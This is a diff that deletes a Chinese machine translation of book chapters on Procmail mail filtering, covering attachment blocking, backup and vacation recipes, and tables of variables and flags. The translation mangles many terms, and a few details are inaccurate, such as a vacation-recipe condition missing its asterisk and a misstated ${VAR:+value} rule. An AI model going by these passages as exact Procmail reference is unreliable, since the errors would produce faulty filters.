章中,我们将看到如何将一个完整的病毒检查系统集成到后缀邮件体系结构中。 这将执行准确的病毒签名识别,并将适当的标志添加到邮件标题中,以指示邮件中是否存在病毒。 然而,如果不可能设置这样的系统,该规则将提供另一种更残酷的方法来阻止所有带有可执行附件的电子邮件。 - -如果将以下内容放在 `/etc/procmailrc`中,它将影响系统中包含某些类型文档作为附件的所有邮件。 - -```sh -# Note: The whitespace in the [ ] in the code comprises a space and a tab character -:0 -* < 256000 -* ! ^Content-Type: text/plain -{ -:0B -* ^(Content-(Type|Disposition):.*|[ ]*(file)?)name=("[^"]*|[^ ]*)\.(bat|cmd|com|exe|js|pif|scr) -/dev/null -} - -``` - -规则以习惯的 `:0`指令开始。 - -适用的条件如下: - -首先,确保我们只过滤小于 256kb 的消息。 这主要是为了提高效率,大多数垃圾邮件都小于这个大小。 如果病毒体积更大,显然可以增加它,但系统的负载可能会更高。 - -下一行说我们也只看那些 MIME 类型的消息(也就是说,不是纯文本),因为附件,根据定义,不能包含在纯文本消息中。 - -我们在花括号之间有一个子过滤器。 `:0B`表示我们正在处理消息的主体,而不是消息头。 我们必须这样做,因为附件在主体中,而不是在头文件中。 然后,我们寻找具有作为可执行文件 MIME 标题签名的行。 如果你愿意,你可以修改文件名扩展名; 这些只是通常用来传播病毒的。 - -本例中的操作是,如果匹配,则将此消息发送给 `/dev/null`。 注意,这意味着发送者不会收到消息反弹或错误消息; 信息被丢弃,再也不会被看到。 当然,您可以将邮件存储在一个安全的位置,并指定某人监控帐户,以获取不包含病毒的有效邮件。 对于这个问题的更优雅的解决方案,请记住检查第 9 章。 - -## 大量邮件 - -随着高速、始终在线的互联网连接的不断增加,人们开始发送越来越大的电子邮件信息。 从前,签名文件中超过四行被认为是不礼貌的,现在人们高兴地包含图像和壁纸,发送 HTML 和文本版本的电子邮件,而没有意识到他们发送的消息的大小。 - -在 Inbox 中存储如此大的消息会大大增加搜索邮件消息的处理开销。 一个简单的解决方案是将超过一定大小的所有消息移动到一个超大文件夹中。 这可以通过使用以下规则非常简单地实现,该规则查找大小超过 100,000 字节的消息并将其存储在 `largemail`文件夹中。 - -```sh -:0: -* >100000 -largemail/ - -``` - -这个规则的缺点是,您的用户需要记住定期查看收件箱和 `largemail`文件夹。 一个更优雅的解决方案将允许您复制邮件的前几行以及标题和主题行,并将其存储在 Inbox 中,并通知您需要检查完整的版本。 这样的解决方案可以在下一章末尾的例子中看到。 - -# 总结 - -在本章中,我们已经发现了 Procmail 的一些基础知识。 到目前为止,您应该已经熟悉了 Procmail 用来加载菜谱的各种文件、过滤的核心原则以及可用的选项。 我们还分析了电子邮件,设置了个人和系统范围的过滤器,并研究了一些简单的测试、日志记录和调试选项,这些选项将帮助我们更有效地管理公司的邮件。 - -我们只是触及了可能的表面,但希望这个小小的尝试已经为您提供了关于如何处理和过滤您的日常过载的电子邮件的大量想法。 它可能已经给了你更多的想法,更高级的过滤器和下一章将提供更多的建议和解释如何着手设置这些。 \ No newline at end of file diff --git a/docs/linux-email/07.md b/docs/linux-email/07.md deleted file mode 100644 index 455605c5..00000000 --- a/docs/linux-email/07.md +++ /dev/null @@ -1,1738 +0,0 @@ -# 七、高级 Procmail - -现在我们已经掌握了 Procmail 的基本知识,我们可以继续前进,开始构建一个更完整的邮件处理系统。 本章的高级技术仅在您需要非常专门的邮件处理时才需要,而在设置基本的电子邮件服务器时不需要。 您可能希望跳过本章,并在您的服务器完全配置和运行后返回到它。 - -在本章中,我们将使用一些更高级的 Procmail 功能。 本章将涵盖: - -* 传递和非传递食谱之间的区别 -* 高级配方中变量、替换和伪变量的使用 -* 锁定和使用各种标志来控制执行 -* 如何应用条件来测试消息的各个部分 -* 将消息转发、保存或传递给外部程序进行处理的高级操作 -* 正则表达式的介绍 -* 使用 Procmail 宏简化电子邮件标题分析 -* 详细分析了一些高级食谱,并提供了一些示例食谱 - -在本章结束时,您应该拥有一个有用的工具箱,其中包含了一些例程,可以将自己的一组 Procmail 菜谱组合在一起,并控制您的邮件。 - -# 外卖和非外卖食谱 - -到目前为止,我们只讨论了将邮件最终传递给程序或文件或将消息转发给另一个邮件用户的那些菜谱。 还有另一个可用的选项,引用 Procmail 文档: - -> 有两种食谱——传递食谱和非传递食谱。 如果找到匹配的交付配方,Procmail 将考虑交付的邮件(您猜对了),并将在成功执行配方的操作行后停止处理 `.procmailrc`文件。 如果找到匹配的非交付配方,则在执行该配方的操作行之后,将继续处理 `.procmailrc`文件。 - -## 不交付的例子 - -我们在前一章中介绍了一个示例,该示例旨在对邮件项进行备份,以防正在测试的菜谱删除所有邮件。 这是一个非常有用的非交付配方示例,可以在 Procmail 手册页面 `procmailex`中找到。 - -如果你是 Procmail 新手,并计划尝试一下,那么拥有某种安全网通常会有所帮助。 插入前面提到的两个食谱,所有其他食谱将确保始终保留最后 32 个到达的邮件消息。 为了使其正常工作,我们必须在 `$MAILDIR`中创建一个名为 `backup`的目录,然后再插入这两个菜谱: - -```sh -:0 c -backup -:0 ic -cd backup && rm -f dummy `ls -t msg.* | sed -e 1,32d` - -``` - -第二个配方使用了 Procmail 的几个特性,我们将在本章后面的章节中更详细地探讨这些特性。 - -如果我们一步一步地完成这个配方,我们将得到一个有用的存档实用程序,它记录了最后 32 个要接收的邮件,并且允许我们在创建一个最终销毁邮件而不是存储邮件的配方时手动恢复邮件。 在繁忙的邮件服务器上,增加这个数字以保持更大的消息存档可能是明智的。 - -第一个配方执行一个简单的备份操作,将邮件的副本或克隆发送到 `backup`目录: - -```sh -:0 c -backup - -``` - -在添加第二个配方之前,在 `.procmailrc`文件中创建上面的配方,并向自己发送两个邮件消息。 我们可以看到,每个邮件项都存储在备份目录中(假设它存在并具有正确的权限)。 - -第二个配方同样简单,但是使用 Linux 系统命令的一些更复杂的特性删除 `backup`目录中的所有邮件项,除了最近的 32 项。 - -```sh -:0 ic -| cd backup && rm -f dummy `ls -t msg.* | sed -e 1,32d` - -``` - -让我们来看看这个食谱是如何运作的。 首先,我们将看到规则标志及其含义: - - -| - -国旗 - - | - -意义 - - | -| --- | --- | -| `i` | 忽略后续管道命令的返回代码 | -| `c` | 克隆或复制传入的数据,使原始数据不受影响 | - -`|`指示 Procmail 将匹配的数据传递给下面的管道命令。 每个命令都执行一个特定的操作。 - - -| - -命令 - - | - -行动 - - | -| --- | --- | -| `cd backup` | 移动到 `backup`目录。 | -| `ls -t msg.*` | 获取以 `msg`开头的文件列表,并按时间顺序对其进行排序。 | -| `sed -e 1,32d` | 删除除最后 32 行以外的所有内容—即最近的 32 个邮件项。 | -| `rm -f dummy...` | 参数 `dummy`用于在没有文件要删除的情况下停止错误消息,然后 `rm`命令继续删除 `sed`过滤器列出的文件。 | - -这两个菜谱是在每个收到的邮件消息上运行的无条件菜谱的示例。 没有条件行,即以星号(*)开头的行,这一事实表明配方是无条件的。 由于这两个菜谱都在菜谱中包含了 `c`标志,所以它们也被定义为非交付菜谱。 - -一旦我们收集了大量的 Procmail 菜谱,我们会发现菜谱的处理顺序非常重要。 通过正确设置处理顺序,我们可以提高性能并减少处理传入邮件的时间。 我们还可以确保将更关键的规则应用于重要消息,然后再将更一般的规则应用于处理批量消息。 - -一个典型的场景可能是按照以下顺序应用规则: - -1. 首先处理守护进程或服务器消息。 -2. 邮件列表应该尽早处理,但在服务器消息之后处理,因为我们希望首先处理我们的服务。 -3. 应用 `kill file`来阻止任何已知的垃圾邮件发送者。 -4. 在我们处理邮件列表之前,不要发送假期回复,以防止假期回复对邮件列表产生干扰。 -5. 保存私人信息。 -6. 检查**垃圾邮件**(**UBE**)。 这避免了对已知有效电子邮件进行垃圾邮件检查的高开销。 - -# 福尔梅尔 - -Formail 是一个外部实用程序(来自 Procmail),在安装 Procmail 的系统上几乎总是可用的。 它的功能是处理邮件消息并从消息头中提取信息。 它充当一个过滤器,可用于强制将邮件转换为适合在 Linux 邮件系统中存储的格式。 它还可以执行许多其他有用的功能,如“From”转义、生成自动回复标题、简单标题提取或分割邮箱/摘要/文章文件。 - -输入数据邮件/邮箱/物品内容需要使用标准输入来提供。 因此, `formail`非常适合在管道命令链中使用。 输出数据在标准输出上提供。 - -在本章中,我们不打算深入探讨 `formail`的微妙之处,但由于它是一个有用的工具,我们将在一些例子中参考它的一些功能。 更多信息可以从系统手册页面获得。 - -# 高级配方分析 - -这里我们有一个复杂得多的配方,它实现了一种休假服务的形式,通知发送者您不在并且无法回复电子邮件。 起初认为这可能是一个简单的非传递配方,将消息发送回所有收到的消息。 然而,这并不理想,因为有些人可能最终会收到多个传递确认消息,而您也可能会将消息发送回系统实用程序,而这些实用程序无法理解您善意的回复。 - -该示例基于 Procmail `procmailex`手册页面中的“假期示例”。 - -`vacation.cache`文件由 Formail 维护。 它通过提取发送者的名称并将其插入到 `vacation.cache`文件中来维护假期数据库。 这确保它总是包含最近的名称。 文件的大小被限制为大约 8192 字节的最大值。 如果发送者的名称是新的,将发送一个自动回复。 - -下面的配方实现了一个假期自动回复: - -```sh -SHELL=/bin/sh # for other shells, this might need adjustment -:0 Whc: vacation.lock -# Perform a quick check to see if the mail was addressed to us -$TO_:.*\<$\LOGNAME\> -# Filter out the mail senders we don't want to send replies to - Ever -* !^FROM_DAEMON -# Make sure that we do not create an endless loop that keeps -# replying to the reply by checking to see if we have already processed -# this message and inserted a loop detection header -* !^X-Loop: your@own.mail.address -| formail -rD 8192 vacation.cache -:0 ehc -# We are pretty certain it's OK to send a reply to the sender of this message -| ( -formail -rA"Precedence: junk" \ --A"X-Loop: your@own.mail.address" ; \ -echo "Hi, Your message was delivered to my mailbox,"; \ -echo "but I won't be back until Monday."; \ -echo "-- "; cat $HOME/.signature \ -) | $SENDMAIL -oi -t - -``` - -我们将在本节的最后回到这个食谱,并使用我们在 Procmail 中学到的一些知识创建一个稍微更新的版本。 现在,这个示例将作为一个参考,帮助理解我们在接下来的一般配方结构分解中探索的一些概念。 - -## 添加评论 - -为我们的规则和配方创建文档或添加注释始终是一项重要的任务。 所有注释都以 `#`字符开始,并一直到行尾。 在大多数情况下,将注释放在一行的开头,或者在我们希望记录的一行后面加上一个或两个制表符是很有用的。 - -但是,在规则文件的一个部分中,注释*必须*包含在它们自己的行中,即*Conditions*部分。 - -```sh -# Here is a full line comment -MAILDIR=${HOME}/Maildir # This comment spans multiple -# lines for clarity. -:0: # Comment OK here -* condition # BAD comment. NOT allowed. -# Old versions of Procmail don't understand this. -* condition -{ # Comment OK -# Comment OK -do_something # Comment OK -} - -``` - -## 赋值变量 - -为了跟踪设置、测试结果、默认值等等,我们可以将这些信息存储在变量中。 赋值操作很简单,并且遵循与其他 Linux 脚本语言相同的格式。 基本格式为 `VARIABLENAME=VALUE.` - -### 提示 - -变量名中不能有空格。 如果被赋值的值中有空格,则整个变量应该存储在双引号之间。 - -访问变量的正确方法是将 `VARIABLENAME`括在大括号 `{}`中,并以美元($)符号作为前缀。 在其他赋值中使用变量是可以接受的。 一些例子如下: - -```sh -MAILDIR=${HOME}/Maildir # Set the value of the MAILDIR -LOGFILE=${MAILDIR}/log # Store logfiles in the MAILDIR - -``` - -注意,在前面的示例中, `${HOME}`使用 shell 环境设置的值作为进程启动时设置的值。 - -仔细使用变量及其命名可以使配方更容易阅读和维护。 - -### 换人 - -有时,能够用一个只能在运行时计算或计算的变量来替换文字元素是必要的或有用的。 Procmail 允许作者在大多数地方用变量替换或命令替换替换大多数文字元素。 使用变量的最简单方法是使用 `$varname`格式,这在许多脚本语言中都很常见。 - - -| - -变量/命令 - - | - -替换 - - | -| --- | --- | -| `$VAR` | 在配方中出现 `$VAR`的地方,将其替换为该变量持有的值。 | -| `${VAR}iable *` | 当需要将变量与文本字面值连接时,使用 `{}`强制将名称改为 `${VAR}`而不是 `$VARiable`。 | - -### 注意事项 - -如果需要将变量与固定文本或值组合,则 `{}`元素允许建立变量名的绝对定义。 注意,除非我们包含 `$`修饰符,否则这不会在条件行中发生。 - -#### 用默认值分配变量 - -Procmail 借用了一些标准 shell 语法来进行变量初始化。 - -如果我们希望能够为变量分配一个默认值,以便在变量没有被设置或由于某种原因无法计算的情况下使用,可以使用 or `:-`分隔符。 如果我们希望在变量已设置或非 null 的地方应用一个可选值,使用 `+`或 `:+`分隔符。 - - -| - -分隔符 - - | - -行动 - - | -| --- | --- | -| `${VAR:-value}` | 如果 `VAR`未设置或为空,则替换 `value`展开; 否则, `VAR`的值被替换。 | -| `${VAR-value}` | 若未设置 `VAR`,则替换 `value`展开; 否则, `VAR`的值被替换。 | -| `${VAR:+value}` | 如果 `VAR`被设置或非空,则替换 `value`展开; 否则, `VAR`的值被替换。 | -| `${VAR+value}` | 设 `VAR`,则替换 `value`展开; 否则, `VAR`的值被替换。 | - -一些例子如下: - -```sh -VAR = "" # Set VAR to null -VAR = ${VAR:-"val1"} # VAR = "val1" -VAR = "" -VAR = ${VAR-"val2"} # VAR = "" -VAR = "" -VAR = ${VAR:+"val3"} # VAR = "" -VAR = "" -VAR = ${VAR+"val4"} # VAR = "val4" -VAR = "val" -VAR = ${VAR:+"val3"} # VAR = "val3" -VAR = "val" -VAR = ${VAR+"val4"} # VAR = "val4" -VAR # unset VAR -VAR = ${VAR:-"val1"} # VAR = "val1" -VAR -VAR = ${VAR-"val2"} # VAR = "val2" -VAR -VAR = ${VAR:+"val3"} # no action -VAR -VAR = ${VAR+"val4"} # no action - -``` - -#### 将命令输出分配给变量 - -可以使用(反标记)将命令的输出赋值给一个变量。 '操作符——反勾号(')的 ASCII 值为 96,而不是普通的撇号('),后者的 ASCII 值为 39。 - -```sh - `cmd1 | cmd2` - -``` - -这个示例将管道中两个反标记之间的输出赋值给变量或在代码中内联。 - -### 伪变量 - -Procmail 直接分配了许多特殊变量或伪变量。 更改其中一些值实际上可以改变 Procmail 的操作方式。 - -#### 邮箱变量 - -Procmail 使用以下变量来确定它将在何处存储任何传递的邮件。 - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `MAILDIR` | `MAILDIR`的默认值取自 `$HOME`环境变量的值。 它也是 Procmail 在执行期间用于当前工作目录的值。 除非输出文件名包含路径组件,否则它们将被创建在这个默认目录中。 | -| `MSGPREFIX` | 当我们希望将文件按顺序写入某个目录时,可以使用此选项。 `MSGPREFIX`前缀是使用此选项创建的文件的名称。 默认前缀是 `msg.`,因此文件将被命名为 `msg.xyz`。 在将文件传送到 `maildir`或 `MH`目录时,不使用该选项。 | -| `DEFAULT` | 这是系统中默认邮件存储区域的位置。 通常我们不会修改这个变量。 | -| `ORGMAIL` | 在 `DEFAULT`由于任何原因不可用的情况下,它被用作灾难恢复位置。 这绝对不应该被修改。 | - -#### 程序变量 - -Procmail 在编译时写入了合理的默认值。 大多数情况下,这些不需要改变。 - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `SHELL` | 这是一个标准的环境变量,它指定 Procmail 需要在其中调用子进程的 shell 环境。 赋给它的值应该是 Bourne shell 兼容的,比如 `/bin/sh`。 | -| `SHELLFLAGS` | 它指定在启动 `SHELL`时应该传递给它的任何可选标志。 | -| `SENDMAIL` | 这指示 Procmail 在哪里找到用于向其他用户发送邮件的 `sendmail`程序。 (通常不会被玩弄)。 | -| `SENDMAILFLAGS` | 与 `SHELLFLAGS`一样,它指定在 `SENDMAIL`程序执行时应该传递给它的任何标志或命令行参数。 | - -#### 系统交互变量 - -在执行食谱期间,Procmail 可能需要运行外部命令、处理错误或创建文件。 这些变量控制 Procmail 如何与 shell 交互。 - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `UMASK` | 这提供了创建任何文件时使用的文件权限模式。 详情见 `man umask`。 | -| `SHELLMETAS` | shell 管道在执行前与 `SHELLMETAS`的内容进行比较。 如果在管道命令中发现来自 `SHELLMETAS`的任何字符,该命令会被认为过于复杂,以致于 Procmail 无法管理自己,并且会生成一个子 shell 进程。 如果我们知道一个特定的管道总是足够简单,可以让 Procmail 管理自己,但它包含在 `SHELLMETAS`中的字符,那么我们可以在处理管道时将一个空字符串临时分配给 `SHELLMETAS`,然后恢复 `SHELLMETAS`。 这将避免产生一个副壳的开销。 | -| `TRAP` | 这里,我们可以分配一个代码段,在 Procmail 执行结束时执行。 例如,它的一个用途是删除在食谱执行期间创建的临时文件。`TEMPORARY=$HOME/tmp/pmail.$$``TRAP="/bin/rm -f $TEMPORARY"` | -| `EXITCODE` | 当 Procmail 退出时,这个值返回给启动 Procmail 的进程。 通常,返回 `0`的值表示成功,而非零值表示某种形式的失败。 通过修改 `EXITCODE`值,我们可以返回关于所执行处理的特定信息。Procmail 启动的程序的退出代码存储在变量 `$?`中。 | - -#### 记录变量 - -配方执行期间所需的任何日志输出的详细程度和位置由以下变量控制: - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `LOGFILE` | 这指定了 Procmail 应该将其所有日志和调试信息写入的位置。 如果该值为空,输出将被发送到**标准错误输出**,这意味着它将丢失,除非程序是交互运行的或者 `stderr`被重定向到某个地方。 | -| `LOG` | 如果我们希望自己直接将一些内容写入日志文件,可以给 `LOG`变量赋值,然后将其添加到 `LOGFILE`。 如果我们想格式化输出并在日志消息后包含一个空行,我们必须记住在输出的消息中包含一个空行。`LOG="Procmail is great"` | -| `VERBOSE` | 这允许输出为基本默认值或提供详细信息。 设置 `VERBOSE=1`将包括详细的日志信息,这些信息将有助于调试我们的菜谱。 为了减少输出信息量,请记住在配方运行后设置 `VERBOSE=0`。 | -| `LOGABSTRACT` | 如果将 `LOGABSTRACT`设置为 `all`,那么所有的投递都将包含关于发件人、主题和所投递邮件的大小的信息。 如果您希望停止此日志记录,请设置 `LOGABSTRACT=no`。 | -| `COMSAT` | 如果设置为 `yes`,Procmail 将生成 comsat/biff 通知。 有关更多信息,请参阅 `comsat`和 `biff`手册页。 | - -#### Procmail 的状态变量 - -在配方的处理过程中,Procmail 用配方的当前状态更新以下变量: - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `PROCMAIL_OVERFLOW` | 如果 Procmail 在启动时读取文件时在 Procmail recipe 文件中发现任何超过缓冲区大小的行,它将把 `PROCMAIL_OVERFLOW`的值设置为 `yes`。 如果正在读取的行是条件或操作行,则该操作将被认为已失败。 然而,如果它是一个变量赋值或 recipe start, Procmail 将停止读取文件并以异常终止的方式退出。 | -| `HOST` | 它包含进程运行所在主机的名称。 | -| `DELIVERED` | 如果邮件消息传递成功,则将其设置为 `yes`,Procmail 将通知调用进程。 如果我们手动将其设置为 `yes`*和*,则未传递消息,它将丢失而不被跟踪,但调用进程仍认为已成功传递。 | -| `LASTFOLDER` | 这将给出向其写入消息的最后一个文件或目录的名称。 | -| `MATCH` | 它保存了上次正则表达式操作提取的信息。 | -| `$=` | 这保存了最新的评分配方的结果。 更多信息请参见*procmailsc*手册页。 | -| `$1, $2, ...; $@; $#` | 就像标准 shell 一样,它指定了 Procmail 启动时使用的命令行参数。 - -* 是第一个命令行参数,以此类推。 -* 包含所有参数。 -* `$#`包含参数个数。 - -同时参见 `SHIFT`伪变量。 | -| `$$` | 它保存当前进程 ID。 这对于创建进程唯一的临时文件很有用。 | -| `$?` | 它保存了前一个 shell 命令的退出代码。 | -| `$_` | 它保存当前正在处理的 Procmail 文件的名称。 | -| `$-` | 这是 `LASTFOLDER`的别名。`$=`、 `$@`不能直接使用; 我们必须将该值赋给另一个变量,然后才能将其用于任何有用的用途。 | - -#### 消息内容变量 - -这些变量的主要用途是访问保存在适当部分的数据,但其中配方有一个标志,将处理限制在消息的其他部分。 通过使用 `HB`,我们可以在整个消息中访问信息。 - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `H` | 它保存当前正在处理的消息的头信息。 | -| `B` | 它保存当前正在处理的消息体。 | - -#### 锁定变量 - -下表中的每个变量控制任何锁文件的名称,以及配方等待锁释放的时间。 - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `LOCKFILE` | 为该变量赋值将创建一个全局锁文件,该文件一直保持到 `LOCKFILE`被赋值为止。 这个值可以是要创建的另一个锁文件的名称,也可以是要删除任何锁的空值。 | -| `LOCKEXT` | 给这个赋值允许我们覆盖作为锁文件名一部分使用的扩展名。 这对于识别创建锁文件的进程非常有用。 | -| `LOCKSLEEP` | 如果 Procmail 想要在一个已经被其他进程锁定的文件上创建一个锁,它将进入一个 `retry`循环。 变量 T1 指定了在重试获取锁之前休眠和等待的秒数。 | -| `LOCKTIMEOUT` | 这指定了锁定文件在被假定为无效并将被覆盖之前的时间(以秒为单位)。 如果值为 `0`,那么锁文件将永远不会被覆盖。 缺省值为 `1024`秒。 | - -#### 错误处理变量 - -如果我们的配方出现错误,我们可以使用这些变量中的任何一个来决定采取什么行动。 - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `TIMEOUT` | 它指定在通知子进程终止之前等待子进程的时间。 缺省值是 `960`秒。 | -| `SUSPEND` | 它指定 `NORESRETRY`重试之间的等待时间。 默认为 `16`秒。 | -| `NORESRETRY` | 当出现严重的系统资源短缺(如磁盘空间不足或系统已达到最大进程数)时,Procmail 在放弃之前重试的次数。 默认值是 `4`,如果是负数,Procmail 将永远重试。 如果资源在重试期间不可用,则消息将被丢弃并归类为无法传递。 | - -#### 其他变量 - -下表包含关于菜谱中可能使用的各种 Procmail 变量的信息: - - -| - -的名字 - - | - -行动 - - | -| --- | --- | -| `LINEBUF` | 这为 Procmail 准备处理的配方行长度设置了一个限制。 如果我们需要处理非常大的正则表达式或将大量数据存储到 `MATCH`中,则增加这个值。 | -| `SHIFT` | 这类似于正常 shell 处理中的 `shift`特性。 将一个正数赋值给这个变量会向下移动 Procmail 的命令行参数。 | -| `INCLUDERC` | 这将指示 Procmail 加载另一个包含 Procmail 菜谱的文件。 这个新文件在 Procmail 继续处理当前文件之前被加载和处理。 | -| `DROPPRIVS` | 这确保当 Procmail 以 `setuid`或 `setgid`的形式执行时,没有根特权可用。 将此值设置为 `yes`将使 Procmail 删除其所有特权。 | - -#### 打印 Procmail 变量 - -下面的示例将打印响应中的大部分环境设置,并提供一些在尝试使用 Procmail 调试问题时可能很有帮助的信息。 我们不希望它包含在任何生产文件中,否则我们的日志文件会非常迅速地增长到非常大。 - -在与其他 Procmail recipe 文件相同的目录中创建一个名为 `rc.dump`的文件,并将以下代码行放入该文件中: - -### 注意事项 - -请注意,在下一个示例的开始和结束处出现的引号(")是确保配方正确操作所必需的。 - -```sh -# -# Simple Procmail recipe to dump variables to a log file -# -LOG="Dump of ProcMail Variables -MAILDIR is currently :${MAILDIR}: -MSGPREFIX is currently :${MSGPREFIX}: -DEFAULT is currently :${DEFAULT}: -ORGMAIL is currently :${ORGMAIL}: -SHELL is currently :${SHELL}: -SHELLFLAGS is currently :${SHELLFLAGS}: -SENDMAIL is currently :${SENDMAIL}: -SENDMAILFLAGS is currently :${SENDMAILFLAGS}: -UMASK is currently :${UMASK}: -SHELLMETAS is currently :${SHELLMETAS}: -TRAP is currently :${TRAP}: -EXITCODE is currently :${EXITCODE}: -LOGFILE is currently :${LOGFILE}: -LOG is currently :${LOG}: -VERBOSE is currently :${VERBOSE}: -LOGABSTRACT is currently :${LOGABSTRACT}: -COMSAT is currently :${COMSAT}: -PROCMAIL_OVERFLOW is currently :${PROCMAIL_OVERFLOW}: -TODO is currently :${TODO}: -HOST is currently :${HOST}: -DELIVERED is currently :${DELIVERED}: -LASTFOLDER is currently :${LASTFOLDER}: -\$= is currently :$=: -\$1 is currently :$1: -\$2 is currently :$2: -\$$ is currently :$$: -\$? is currently :$?: -\$_ is currently :$_: -\$- is currently :$-: -LOCKFILE is currently :${LOCKFILE}: -LOCKEXT is currently :${LOCKEXT}: -LOCKSLEEP is currently :${LOCKSLEEP}: -LOCKTIMEOUT is currently :${LOCKTIMEOUT}: -TIMEOUT is currently :${TIMEOUT}: -NORESRETRY is currently :${NORESRETRY}: -SUSPEND is currently :${SUSPEND}:" - -``` - -执行如下命令: - -```sh -# procmail ./rc.dump - - -``` - -这会创建以下输出: - -```sh -# procmail ./rc.dump - -"Dump of ProcMail Variables -MAILDIR is currently :.: -MSGPREFIX is currently :msg.: -DEFAULT is currently :/var/spool/mail/root: -ORGMAIL is currently :/var/spool/mail/root: -SHELL is currently :/bin/bash: -SHELLFLAGS is currently :-c: -SENDMAIL is currently :/usr/sbin/sendmail: -SENDMAILFLAGS is currently :-oi: -UMASK is currently :: -SHELLMETAS is currently :&|<>~;?*[: -TRAP is currently :: -EXITCODE is currently :: -LOGFILE is currently :: -LOG is currently :: -VERBOSE is currently :1: -LOGABSTRACT is currently :: -COMSAT is currently :no: -PROCMAIL_OVERFLOW is currently :: -TODO is currently :: -HOST is currently :delta.adepteo.net: -DELIVERED is currently :: -LASTFOLDER is currently :: -$= is currently :0: -$1 is currently :: -$2 is currently :: -$$ is currently :9014: -$? is currently :0: -$_ is currently :./rc.dump: -$- is currently :: -LOCKFILE is currently :: -LOCKEXT is currently :.lock: -LOCKSLEEP is currently :: -LOCKTIMEOUT is currently :: -TIMEOUT is currently :: -NORESRETRY is currently :: -SUSPEND is currently :: - -``` - -## 配方 - -Procmail 菜谱遵循一种简单的格式。 然而,有许多方法可以指示 Procmail 解释或实现规则中的指令,这些方法基于许多标志以及规则和配方的编写方式。 - -### 冒号行 - -正如我们已经发现的,到目前为止,所有规则都以 `:0`开始,后面跟着一个或多个标志和指令。 以前,冒号后面有一个数字(`:`)来指定规则中存在的条件的数量。 Procmail 的当前版本自动确定条件的数量,因此总是使用值 `0`。 - -#### 锁定 - -我们已经讨论了需要使用锁定机制来阻止多个进程在同一时间对同一个文件进行写操作。 当然,这个需求随过滤器试图调用的流程类型而变化。 例如,仅更改或赋值的过滤器对任何物理文件都没有影响,因此不需要锁定。 类似地,仅将数据转发到另一个进程或另一个接收方的过滤器本质上不需要应用锁。 在大多数情况下,当 Procmail 意识到它正在写文件时,将应用自动锁定,并提供对文件本身的锁定。 在某些情况下,可能需要显式地锁定资源。 - -为了了解何时自动应用锁,何时完全不需要锁,何时需要强制手动锁,下面是一些示例。 - -##### 自动锁定 - -任何以 `:0:`开头的规则都将应用自动文件锁定。 在这种情况下,Procmail 将自动确定要发送邮件的文件的名称并创建一个锁文件。 如果锁定文件已经存在,它将等待一段时间,然后重试创建锁。 当它最终创建锁文件时,它将继续进行处理。 如果无法创建锁文件,它将报告一个错误并继续执行下一个规则。 - -下面的规则使用自动锁定: - -```sh -:0 : - -``` - -##### 强制锁定 - -有时可能需要强制锁定,特别是通过外部脚本处理邮件时。 在大多数情况下,Procmail 将通过检查进程命令行并查看输出指向何处来确定最终数据要写入的文件的名称。 但是,如果脚本负责选择输出位置本身,或者它依赖于一个可能被另一个 Procmail 进程修改的文件,那么必须按照以下方式特别请求一个锁文件: - -```sh -:0 :scriptname.lock - -``` - -您不太可能需要在您编写的大多数脚本中强制执行锁定。 - -##### 无锁定 - -当转发到执行自己的文件或记录锁定进程(例如在数据库中存储问题报告)的管道时,不需要记录锁定。 类似地,如果消息被转发给另一个用户,最终的传递将负责记录锁定。 简单规则定义为: - -```sh -:0 - -``` - -#### 旗帜 - -在我们到目前为止看到的示例中,我们允许 Procmail 的默认设置生效。 但是,可以设置许多标志来控制 Procmail 的工作方式。 【t】【t】 - -![Flags](img/8648_07_01.jpg) - -##### 默认标志 - -如果配方的冒号行上没有声明任何标志,Procmail 将假定以下标志(`H, hb`)已被用作默认值。 - - -| - -国旗 - - | - -行动 - - | -| --- | --- | -| `H` | 只扫描邮件标题。 | -| `hb` | 操作行同时传递邮件数据的标题和正文。 | - -##### 匹配范围:HB - -通常,匹配将在整个邮件包中进行,包括邮件的头和正文。 如果邮件正文可能很大,并且我们知道只需要对标题进行匹配,那么使用 `H`标志将匹配操作的范围限制为只跨标题。 - -相反,有时我们可能正在寻找信息项,可能是只出现在文档正文中的重复页脚或签名,在这种情况下,我们可以使用 `B`标志来限制只匹配正文。 - - -| - -国旗 - - | - -行动 - - | -| --- | --- | -| `H` | 仅跨邮件头执行匹配。 | -| `B` | 只在整个邮件体中执行匹配。 | -| `HB` | 跨整个邮件项执行匹配,包括邮件标题和正文。 | - -##### 作用范围:hb - -默认情况下,操作行处理整个电子邮件项,包括邮件头和正文。 如果只需要处理邮件数据的一部分,则可以指定将哪一部分传递给操作行。 - - -| - -国旗 - - | - -行动 - - | -| --- | --- | -| `h` | 只将头传递给操作行进行处理。 | -| `b` | 只将消息体传递给操作行进行处理。 | -| `hb` | 同时传递消息头和消息体,以便进行处理。 这是默认范围。 | - -### 注意事项 - -重要的是要注意“匹配范围”和“行动范围”之间的区别。 第一种情况下标志的值决定了需要扫描邮件头、正文或整个邮件的哪一部分以进行匹配。 第二种情况下标志的值决定了邮件的哪一部分需要处理。 - -##### 流量控制:aeec - -这可能是所有 Procmail 标志中最难理解的标志集合。 本章后面的例子将解释使用这些标志的各种方式。 简单地说,可以对每一个标志假定如下: - - -| - -国旗 - - | - -行动 - - | -| --- | --- | -| `A` | 只有满足前一个配方的条件,该配方才会被处理。 | -| `a` | 如果满足前一个配方的条件,且操作无误,则对配方进行处理。 | -| `E` | 这与 `A`正好相反。 如果不满足之前的配方条件,将对配方进行处理。 | -| `e` | 如果满足前面的配方条件,但没有成功完成处理,则将对配方进行处理。 | -| `c` | 这指示配方创建原始消息的副本或克隆,并在子流程中使用任何操作处理该副本。 父进程继续处理消息的原始副本。 | - -`c`标志应该读为 `Clone`或 `Copy`。 一个常见的误解是,这个标志应该被解释为 `Continue`。 `Clone`或 `Copy`操作创建数据的单独副本,并创建单独的执行流来处理该数据,有时作为完全独立的子进程。 当这个克隆配方完成后,父配方继续执行原始数据。 - -##### 区分大小写:D - -顽固的 Linux 用户非常清楚大小写的敏感性,并且总是认为 `Capitals`与 `capitals`完全不同。 然而,Procmail 的默认操作在匹配字符串时是不区分大小写的。 这意味着,对于 Procmail, `Capitals`和 